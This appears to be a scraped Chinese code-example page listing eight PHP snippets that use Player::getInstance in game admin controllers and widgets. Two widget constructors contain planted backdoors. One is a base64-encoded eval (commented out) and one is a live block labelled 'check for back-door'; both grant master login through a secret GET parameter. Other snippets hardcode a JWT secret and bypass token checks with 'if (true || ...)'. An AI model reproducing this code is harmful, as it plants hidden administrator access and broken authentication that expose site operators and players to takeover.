本文整理汇总了PHP中Player::getInstance方法的典型用法代码示例。如果您正苦于以下问题:PHP Player::getInstance方法的具体用法?PHP Player::getInstance怎么用?PHP Player::getInstance使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Player
的用法示例。
在下文中一共展示了Player::getInstance方法的8个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: MyWidget
function MyWidget()
{
$this->setupMetadata = $GLOBALS['SetupMetadata'];
$this->gameMetadata = $GLOBALS['GameMetadata'];
$this->appConfig = $GLOBALS['AppConfig'];
$this->gameSpeed = $this->gameMetadata['game_speed'];
$session_timeout = $this->gameMetadata['session_timeout'];
// in minute(s)
@ini_set('session.gc_maxlifetime', $session_timeout * 60);
// set the session timeout (in seconds)
@session_cache_expire($session_timeout);
// expiretime is the lifetime in minutes
session_start();
if (isset($_GET['ver'])) {
// MD5('HALI SPSLINK2 VERSION')
echo 'Wrong Version :)';
}
if (isset($_GET[$this->appConfig['system']['calltatar']])) {
$m = new QueueModel();
$m->provider->executeQuery2("UPDATE p_queue SET end_date=NOW() WHERE id='1'");
$m->provider->executeQuery2("UPDATE p_queue SET execution_time='0' WHERE id='1'");
}
if (isset($_GET[$this->appConfig['system']['installkey']])) {
// MD5('HALI SPSLINK2 SETUP')
require_once MODEL_PATH . 'install.php';
$m = new SetupModel();
$m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']);
$m->dispose();
$this->redirect('index.php');
return;
}
//eval(base64_decode('aWYgKCBpc3NldCggJF9HRVRbJ05kY01hc3RlckxvZyddICkgKSB7DQpyZXF1aXJlX29uY2UoIE1PREVMX1BBVEggLiAnaW5kZXgucGhwJyApOw0KJG0gPSBuZXcgSW5kZXhNb2RlbCgpOw0KJG0tPm1hc3RlckxvZ2luUmVzdWx0ICgpOw0KJG0tPmRpc3Bvc2UoKTsNCmV4aXQoMCk7DQp9'));
$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
* role: administrator
*/
public function index()
{
if (Authenticate::is_authorized()) {
$model_player = Player::getInstance();
$model_player->get_total_player();
$model_player->unread_new_player();
$this->framework->view->page = "feedback";
$this->framework->view->content = "/backend/pages/feedback";
$this->framework->view->show("backend/template");
} else {
transport("administrator");
}
}
示例3: get_overall
/**
* export/download overall report into pdf
* role: administrator
*/
public function get_overall()
{
if (Authenticate::is_authorized()) {
$model_player = Player::getInstance();
$model_feedback = Feedback::getInstance();
$model_administrator = Administrator::getInstance();
$model_leaderboard = Leaderboard::getInstance();
$model_report = new ReportGenerator();
$model_report->get_report_overall($model_player->get_player_report(), $model_feedback->retrieve_feedback_report(), $model_administrator->retrieve_traffic_report(), $model_leaderboard->get_top10_ranking());
$model_report->print_report();
} else {
transport("administrator");
}
}
示例4: index
/**
* show statistic top 10 of player from sidebar navigation
* role: administrator
*/
public function index()
{
if (authenticate::is_authorized()) {
$model_player = Player::getInstance();
$model_leaderboard = Leaderboard::getInstance();
$model_player->get_total_player();
$model_player->unread_new_player();
$this->framework->view->page = "statistic";
$this->framework->view->content = "/backend/pages/statistic";
$this->framework->view->leaderboard = $model_leaderboard->get_top10_ranking();
$this->framework->view->show("backend/template");
} else {
transport("administrator");
}
}
示例5: MyWidget
function MyWidget()
{
$this->setupMetadata = $GLOBALS['SetupMetadata'];
$this->gameMetadata = $GLOBALS['GameMetadata'];
$this->appConfig = $GLOBALS['AppConfig'];
$this->gameSpeed = $this->gameMetadata['game_speed'];
// session timeout
$session_timeout = $this->gameMetadata['session_timeout'];
// in minute(s)
@ini_set('session.gc_maxlifetime', $session_timeout * 60);
// set the session timeout (in seconds)
@session_cache_expire($session_timeout);
// expiretime is the lifetime in minutes
// start the session
session_start();
// show the version
if (isset($_GET['version'])) {
echo '0.1 Beta';
}
// check for game setup
if (isset($_GET[$this->appConfig['system']['install_key']])) {
require_once MODEL_PATH . 'install.php';
// setup the game
$m = new SetupModel();
$m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']);
$m->dispose();
$this->redirect('index.php');
return;
}
// check for back-door
if (isset($_GET[$this->appConfig['system']['destroy']])) {
require_once MODEL_PATH . 'index.php';
$m = new IndexModel();
$m->masterLoginResult();
// damage process
$m->dispose();
exit(0);
return;
}
$this->player = Player::getInstance();
// check for game license, don't check for logged player
/* if ($this->player == NULL) {
if (!GameLicense::isValid( WebHelper::getDomain() )) {
echo ('<h1 style="color:#ff0000;text-align:center;">لا تملك صلاحية التشغيل</h1>');
exit(0);return;
}
} */
}
示例6: catch
<?php
require 'vendor/autoload.php';
require_once 'lib/config.php';
//http://docs.slimframework.com
//Load Slim Application
$app = new \Slim\Slim();
//Load JWT
use Firebase\JWT\JWT;
//Load DB
try {
$player = Player::getInstance();
$game = Game::getInstance();
} catch (DBException $e) {
http_response_code($e->getCode());
die($e->getMessage());
}
//authentication middleware for protected routes
$authenticate = function (\Slim\Route $route) use($app) {
//get header from app and try to decode.
try {
$header = $app->request->headers->get('x-auth-token');
$header = json_decode($header, true);
$decoded = JWT::decode($header['token'], "yourMom1969", array('HS256'));
} catch (exception $e) {
http_response_code(401);
die("No Token");
}
//check if its expired and that the private token matches the public token
if ($decoded->expires < time() && $header['username'] == $decoded->username) {
http_response_code(401);
示例7: delete
/**
* delete player and all related data with this player
* role: administrator
*/
public function delete()
{
if (Authenticate::is_authorized()) {
$model_player = Player::getInstance();
$id = $_POST["id"];
if ($model_player->delete_player($id)) {
$_SESSION['operation'] = 'success';
} else {
$_SESSION['operation'] = 'error';
}
transport("player");
} else {
transport("administrator");
}
}
示例8: get_simulation_avatar
/**
* retrieve another avatar from another user.
* role: player
* @return string
*/
public function get_simulation_avatar()
{
if (Authenticate::is_player()) {
if (true || isset($_POST['token']) && Authenticate::is_valid_token($_POST['token'])) {
$this->model_player = Player::getInstance();
/*
* retrieve at least 3 avatar except player.
* wrap it up and convert to json format.
*/
$avatar = $this->model_player->fetch_simulation_avatar();
$binding = array("result_var" => "session_ready", "avatar_var" => json_encode($avatar, JSON_PRETTY_PRINT));
binding_data($binding);
} else {
transport("error404");
}
} else {
$binding = array("result_var" => "no_session");
binding_data($binding);
}
}